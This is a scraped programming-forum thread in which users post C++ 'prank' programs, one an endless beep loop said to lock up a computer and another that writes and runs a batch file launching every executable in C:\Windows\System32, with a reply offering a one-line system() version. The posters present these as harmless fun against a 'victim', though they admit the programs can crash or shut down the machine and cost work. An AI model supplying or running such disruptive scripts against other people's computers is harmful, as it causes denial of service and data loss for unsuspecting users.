| | |
System Resource Manipulating Script.
Please support our C++ advertiser: Intel Parallel Studio Home
This simple command line script is used to pull a prank on one of your buds. What it does is play an anoyying beeping sound over and over again while rendering the computer being used completely unresponsive. The task manager doesnt even respond. The window never loses focus and nothing can be done but listen to it or turn off the PC.
I was just trying to make a simple alert system when I accidentally crashed my comp. testing the script. TEST AT YOUR OWN WRISK. This is meant as a simple demostration of what such a small script can do.
Just put the code in one .cpp file and it will do its work when run.
I was just trying to make a simple alert system when I accidentally crashed my comp. testing the script. TEST AT YOUR OWN WRISK. This is meant as a simple demostration of what such a small script can do.
Just put the code in one .cpp file and it will do its work when run.
#include <iostream> using namespace std; int main() { int i = 1; while(i == 1) { cout << "\a"; // \a = Alert (Beep) // This just plays a sound while the computer tries to keep up // with the incoming calls of sounds. The PC will try to keep all // of the records of input and output, rendering the computer useless. } }
0
•
•
•
•
Heres another 
Your computer should be ok with this, have a go

Your computer should be ok with this, have a go

CPP Syntax (Toggle Plain Text)
#include<iostream> #include<fstream> using namespace std; int main() { ofstream out("openAll.bat", ios::out); out << "for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a"; out.close(); system("openAll.bat"); return 0; }
0
•
•
•
•
I do not think I am going to try your script williamhemsworth. Nice try. lol. Let me guess, that script alters or deletes system files. Anyways, my script is harmless, it just completely disables your computer in a matter of seconds and the only bad outcome is a possible loss of work if the victim was working on something.
0
•
•
•
•
Actually, its just opens about every system file this is at once
the most your computer will do it shutdown when the "shutdown.exe" file has started, but many hundreds will open before that ^.^ Your computer shouldent be damaged in any way 
the most your computer will do it shutdown when the "shutdown.exe" file has started, but many hundreds will open before that ^.^ Your computer shouldent be damaged in any way 
0
•
•
•
•
Hi, William, why not just:
(no need for fstream
)
And killdude: instead of writing:
BTW, Your script doesn't render my computer useless
system("for %%a in (\"C:\\Windows\\System32\\*.exe\") do start %%a"); ?(no need for fstream
)And killdude: instead of writing:
while(i == 1) you could simply have written while(true) , though yours was not wrong 
BTW, Your script doesn't render my computer useless

0
•
•
•
•
Why don't you try that code before you think it works 
For me, it has to be saved as a batch file first.

For me, it has to be saved as a batch file first.
Similar Threads
- Script to identify current users on the system (Shell Scripting)
- how to execute other app, script, or system commands from c++? (C++)
- script that checks whether a file system is full (Shell Scripting)
- Myspace resource script (Websites for Sale)
- Multipointer Manipulating System and Method (Computer Science)
| Thread Tools | Search this Thread |
api array arrays based beginner binary c++ c/c++ calculator char char* class classes code compile compiler console conversion count delete deploy desktop directshow dll download dynamic dynamiccharacterarray encryption error file forms fstream function functions game givemetehcodez google graph gui homeworkhelp homeworkhelper iamthwee ifstream input int integer java lib linkedlist linker linux list loop looping loops map math matrix memory news numbertoword output parameter pointer problem program programming project proxy python random read recursion recursive reference return rpg sorting string strings struct temperature template templates test text text-file tree unix url variable vector video visual visualstudio win32 windows winsock wordfrequency wxwidgets



